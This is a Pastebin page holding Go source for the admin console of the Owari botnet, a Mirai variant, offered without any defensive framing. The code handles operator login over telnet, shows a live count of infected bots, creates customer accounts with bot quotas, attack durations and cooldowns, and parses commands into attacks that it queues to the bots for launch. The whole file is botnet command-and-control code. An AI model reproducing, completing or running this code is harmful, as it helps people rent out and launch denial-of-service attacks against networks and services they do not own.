Advertisement
mysql_Anarchy

[ GO ] Owari Admin.go

Jun 17th, 2018
389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 13.23 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "net"
  6.     "time"
  7.     "strings"
  8.     "strconv"
  9. )
  10.  
  11. type Admin struct {
  12.     conn    net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16.     return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20.     this.conn.Write([]byte("\033[?1049h"))
  21.     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23.     defer func() {
  24.         this.conn.Write([]byte("\033[?1049l"))
  25.     }()
  26.  
  27.     // Get username
  28.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29.     this.conn.Write([]byte("\033[01;30mUsername\033[\033[01;37m: \033[0m"))
  30.     username, err := this.ReadLine(false)
  31.     if err != nil {
  32.         return
  33.     }
  34.  
  35.     // Get password
  36.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37.     this.conn.Write([]byte("\033[01;30mPassword\033[\033[01;37m: \033[0m"))
  38.     password, err := this.ReadLine(true)
  39.     if err != nil {
  40.         return
  41.     }
  42.  
  43.     this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44.     this.conn.Write([]byte("\r\n"))
  45.  
  46.     var loggedIn bool
  47.     var userInfo AccountInfo
  48.     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  49.         this.conn.Write([]byte("\r\033[00;31mERROR: \033[00;37mInvalid credentials\r\n"))
  50.         buf := make([]byte, 1)
  51.         this.conn.Read(buf)
  52.         return
  53.     }
  54.  
  55.     this.conn.Write([]byte("\r\n\033[0m"))
  56.     go func() {
  57.         i := 0
  58.         for {
  59.             var BotCount int
  60.             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  61.                 BotCount = userInfo.maxBots
  62.             } else {
  63.                 BotCount = clientList.Count()
  64.             }
  65.  
  66.             time.Sleep(time.Second)
  67.             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;Loaded %d | %s\007", BotCount, username))); err != nil {
  68.                 this.conn.Close()
  69.                 break
  70.             }
  71.             i++
  72.             if i % 60 == 0 {
  73.                 this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  74.             }
  75.         }
  76.     }()
  77.     this.conn.Write([]byte("\033[2J\033[1H"))
  78.     this.conn.Write([]byte("\033[0;96m                  \033[00;37m▒\033[\033[01;30m█████   █     █\033[00;37m░ \033[01;30m▄▄▄       \033[\033[01;30m██▀███   ██▓\r\n"))
  79.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m▒\033[\033[01;30m██\033[00;37m▒  \033[\033[01;30m██\033[00;37m▒\033[\033[01;30m▓█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█\033[00;37m░▒\033[\033[01;30m████▄    ▓██ \033[00;37m▒ \033[\033[01;30m██\033[00;37m▒\033[\033[01;30m▓██\033[00;37m▒\r\n"))
  80.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m▒\033[\033[01;30m██\033[00;37m░  \033[\033[01;30m██\033[00;37m▒▒\033[\033[01;30m█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█ \033[00;37m▒\033[\033[01;30m██  ▀█▄  ▓██ \033[00;37m░\033[\033[01;30m▄█ \033[00;37m▒▒\033[\033[01;30m██\033[00;37m▒\r\n"))
  81.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m\033[00;37m▒\033[\033[01;30m██   ██\033[00;37m░░\033[\033[01;30m█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█ \033[00;37m░\033[\033[01;30m██▄▄▄▄██ \033[00;37m▒\033[\033[01;30m██▀▀█▄  \033[00;37m░\033[\033[01;30m██\033[00;37m░\r\n"))
  82.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m░ \033[01;30m████▓\033[00;37m▒░░░\033[01;30m██\033[00;37m▒\033[01;30m██▓  ▓█   ▓██\033[00;37m▒░\033[01;30m██▓\033[00;37m ▒\033[01;30m██\033[00;37m▒░\033[01;30m██\033[00;37m░\r\n"))
  83.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m░ ▒░▒░▒░ ░ \033[01;30m▓\033[00;37m░▒ ▒   ▒▒   \033[01;30m▓\033[00;37m▒\033[01;30m█\033[00;37m░░ ▒\033[01;30m▓\033[00;37m ░▒\033[01;30m▓\033[00;37m░░\033[01;30m▓  \r\n"))
  84.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m  ░ ▒ ▒░   ▒ ░ ░    ▒   ▒▒ ░  ░▒ ░ ▒░ ▒ ░\r\n"))
  85.     this.conn.Write([]byte("\033[0;97m                 \033[00;37m░ ░ ░ ▒    ░   ░    ░   ▒     ░░   ░  ▒ ░\r\n"))
  86.     this.conn.Write([]byte("\033[0;97m                 \033[00;37m    ░ ░      ░          ░  ░   ░      ░  \r\n"))
  87.    
  88.     for {
  89.         var botCatagory string
  90.         var botCount int
  91.         this.conn.Write([]byte("\033[\033[01;30m" + username + "\033[01;37m@\033[\033[01;30mowari \033[01;37m# \033[0;97m"))
  92.         cmd, err := this.ReadLine(false)
  93.        
  94.         if cmd == "clear" || cmd == "cls" || cmd == "c" {
  95.     this.conn.Write([]byte("\033[2J\033[1H"))
  96.     this.conn.Write([]byte("\033[0;96m                  \033[00;37m▒\033[\033[01;30m█████   █     █\033[00;37m░ \033[01;30m▄▄▄       \033[\033[01;30m██▀███   ██▓\r\n"))
  97.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m▒\033[\033[01;30m██\033[00;37m▒  \033[\033[01;30m██\033[00;37m▒\033[\033[01;30m▓█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█\033[00;37m░▒\033[\033[01;30m████▄    ▓██ \033[00;37m▒ \033[\033[01;30m██\033[00;37m▒\033[\033[01;30m▓██\033[00;37m▒\r\n"))
  98.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m▒\033[\033[01;30m██\033[00;37m░  \033[\033[01;30m██\033[00;37m▒▒\033[\033[01;30m█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█ \033[00;37m▒\033[\033[01;30m██  ▀█▄  ▓██ \033[00;37m░\033[\033[01;30m▄█ \033[00;37m▒▒\033[\033[01;30m██\033[00;37m▒\r\n"))
  99.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m\033[00;37m▒\033[\033[01;30m██   ██\033[00;37m░░\033[\033[01;30m█\033[00;37m░ \033[\033[01;30m█ \033[00;37m░\033[\033[01;30m█ \033[00;37m░\033[\033[01;30m██▄▄▄▄██ \033[00;37m▒\033[\033[01;30m██▀▀█▄  \033[00;37m░\033[\033[01;30m██\033[00;37m░\r\n"))
  100.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m░ \033[01;30m████▓\033[00;37m▒░░░\033[01;30m██\033[00;37m▒\033[01;30m██▓  ▓█   ▓██\033[00;37m▒░\033[01;30m██▓\033[00;37m ▒\033[01;30m██\033[00;37m▒░\033[01;30m██\033[00;37m░\r\n"))
  101.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m░ ▒░▒░▒░ ░ \033[01;30m▓\033[00;37m░▒ ▒   ▒▒   \033[01;30m▓\033[00;37m▒\033[01;30m█\033[00;37m░░ ▒\033[01;30m▓\033[00;37m ░▒\033[01;30m▓\033[00;37m░░\033[01;30m▓  \r\n"))
  102.     this.conn.Write([]byte("\033[0;96m                 \033[00;37m  ░ ▒ ▒░   ▒ ░ ░    ▒   ▒▒ ░  ░▒ ░ ▒░ ▒ ░\r\n"))
  103.     this.conn.Write([]byte("\033[0;97m                 \033[00;37m░ ░ ░ ▒    ░   ░    ░   ▒     ░░   ░  ▒ ░\r\n"))
  104.     this.conn.Write([]byte("\033[0;97m                 \033[00;37m    ░ ░      ░          ░  ░   ░      ░  \r\n"))
  105.             continue
  106.         }
  107.         if err != nil || cmd == "exit" || cmd == "quit" {
  108.             return
  109.         }
  110.        
  111.         if cmd == "" {
  112.             continue
  113.         }
  114.  
  115.         botCount = userInfo.maxBots
  116.  
  117.         if userInfo.admin == 1 && cmd == "adduser" {
  118.             this.conn.Write([]byte("Enter new username: "))
  119.             new_un, err := this.ReadLine(false)
  120.             if err != nil {
  121.                 return
  122.             }
  123.             this.conn.Write([]byte("Enter new password: "))
  124.             new_pw, err := this.ReadLine(false)
  125.             if err != nil {
  126.                 return
  127.             }
  128.             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  129.             max_bots_str, err := this.ReadLine(false)
  130.             if err != nil {
  131.                 return
  132.             }
  133.             max_bots, err := strconv.Atoi(max_bots_str)
  134.             if err != nil {
  135.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  136.                 continue
  137.             }
  138.             this.conn.Write([]byte("Max attack duration (-1 for none): "))
  139.             duration_str, err := this.ReadLine(false)
  140.             if err != nil {
  141.                 return
  142.             }
  143.             duration, err := strconv.Atoi(duration_str)
  144.             if err != nil {
  145.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  146.                 continue
  147.             }
  148.             this.conn.Write([]byte("Cooldown time (0 for none): "))
  149.             cooldown_str, err := this.ReadLine(false)
  150.             if err != nil {
  151.                 return
  152.             }
  153.             cooldown, err := strconv.Atoi(cooldown_str)
  154.             if err != nil {
  155.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  156.                 continue
  157.             }
  158.             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  159.             confirm, err := this.ReadLine(false)
  160.             if err != nil {
  161.                 return
  162.             }
  163.             if confirm != "y" {
  164.                 continue
  165.             }
  166.             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  167.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  168.             } else {
  169.                 this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  170.             }
  171.             continue
  172.         }
  173.  
  174.         if cmd == "bots" {
  175.         botCount = clientList.Count()
  176.             m := clientList.Distribution()
  177.             for k, v := range m {
  178.                 this.conn.Write([]byte(fmt.Sprintf("\033[\033[01;30m%s\033[00;37m:\t%d\r\n", k, v)))
  179.             }
  180.             continue
  181.         }
  182.         if cmd[0] == '-' {
  183.             countSplit := strings.SplitN(cmd, " ", 2)
  184.             count := countSplit[0][1:]
  185.             botCount, err = strconv.Atoi(count)
  186.             if err != nil {
  187.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  188.                 continue
  189.             }
  190.             if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  191.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  192.                 continue
  193.             }
  194.             cmd = countSplit[1]
  195.         }
  196.         if userInfo.admin == 1 && cmd[0] == '@' {
  197.             cataSplit := strings.SplitN(cmd, " ", 2)
  198.             botCatagory = cataSplit[0][1:]
  199.             cmd = cataSplit[1]
  200.         }
  201.  
  202.         atk, err := NewAttack(cmd, userInfo.admin)
  203.         if err != nil {
  204.             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  205.         } else {
  206.             buf, err := atk.Build()
  207.             if err != nil {
  208.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  209.             } else {
  210.                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  211.                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  212.                 } else if !database.ContainsWhitelistedTargets(atk) {
  213.                     clientList.QueueBuf(buf, botCount, botCatagory)
  214.                 } else {
  215.                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  216.                 }
  217.             }
  218.         }
  219.     }
  220. }
  221.  
  222. func (this *Admin) ReadLine(masked bool) (string, error) {
  223.     buf := make([]byte, 1024)
  224.     bufPos := 0
  225.  
  226.     for {
  227.         n, err := this.conn.Read(buf[bufPos:bufPos+1])
  228.         if err != nil || n != 1 {
  229.             return "", err
  230.         }
  231.         if buf[bufPos] == '\xFF' {
  232.             n, err := this.conn.Read(buf[bufPos:bufPos+2])
  233.             if err != nil || n != 2 {
  234.                 return "", err
  235.             }
  236.             bufPos--
  237.         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  238.             if bufPos > 0 {
  239.                 this.conn.Write([]byte(string(buf[bufPos])))
  240.                 bufPos--
  241.             }
  242.             bufPos--
  243.         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  244.             bufPos--
  245.         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  246.             this.conn.Write([]byte("\r\n"))
  247.             return string(buf[:bufPos]), nil
  248.         } else if buf[bufPos] == 0x03 {
  249.             this.conn.Write([]byte("^C\r\n"))
  250.             return "", nil
  251.         } else {
  252.             if buf[bufPos] == '\x1B' {
  253.                 buf[bufPos] = '^';
  254.                 this.conn.Write([]byte(string(buf[bufPos])))
  255.                 bufPos++;
  256.                 buf[bufPos] = '[';
  257.                 this.conn.Write([]byte(string(buf[bufPos])))
  258.             } else if masked {
  259.                 this.conn.Write([]byte("*"))
  260.             } else {
  261.                 this.conn.Write([]byte(string(buf[bufPos])))
  262.             }
  263.         }
  264.         bufPos++
  265.     }
  266.     return string(buf), nil
  267. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement